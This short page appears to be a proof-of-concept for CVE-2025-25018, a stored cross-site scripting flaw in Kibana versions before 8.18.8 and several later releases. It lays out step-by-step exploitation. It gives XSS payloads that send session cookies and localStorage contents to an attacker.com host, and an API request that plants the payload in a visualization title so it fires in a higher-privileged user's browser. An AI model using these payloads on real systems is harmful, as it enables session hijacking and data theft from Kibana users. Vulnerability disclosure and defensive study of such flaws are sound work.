CVE-2025-25018：Kibana存储型跨站脚本漏洞

<!-- CVE-2025-25018 - Kibana Stored XSS PoC Vulnerability: Improper Neutralization of Input During Web Page Generation Tested on Kibana versions prior to 8.18.8, 8.19.5, 9.0.8, 9.1.5 --> // Step 1: Attacker logs into Kibana with low-privilege account // Step 2: Inject malicious payload into a vulnerable input field // Example payload for visualization title or dashboard description: var maliciousPayload = '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">'; // Alternative payloads: var payload2 = '<svg onload="javascript:fetch(\'http://attacker.com/exfil\',{method:\'POST\',body:JSON.stringify({cookies:document.cookie,localStorage:JSON.stringify(localStorage)})})">'; // Step 3: Submit the data through Kibana API // Example: Create or update a visualization with malicious title POST /api/saved_objects/visualization/<viz-id> Content-Type: application/json { "attributes": { "title": "<img src=x onerror=\"fetch('http://attacker.com/steal?c='+document.cookie)\">", "description": "Legitimate description", "visState": "{}", "kibanaSavedObjectMeta": { "searchSourceJSON": "{}" } } } // Step 4: When a higher-privileged user views the dashboard, // the malicious script executes in their browser context // and exfiltrates sensitive data to the attacker's server.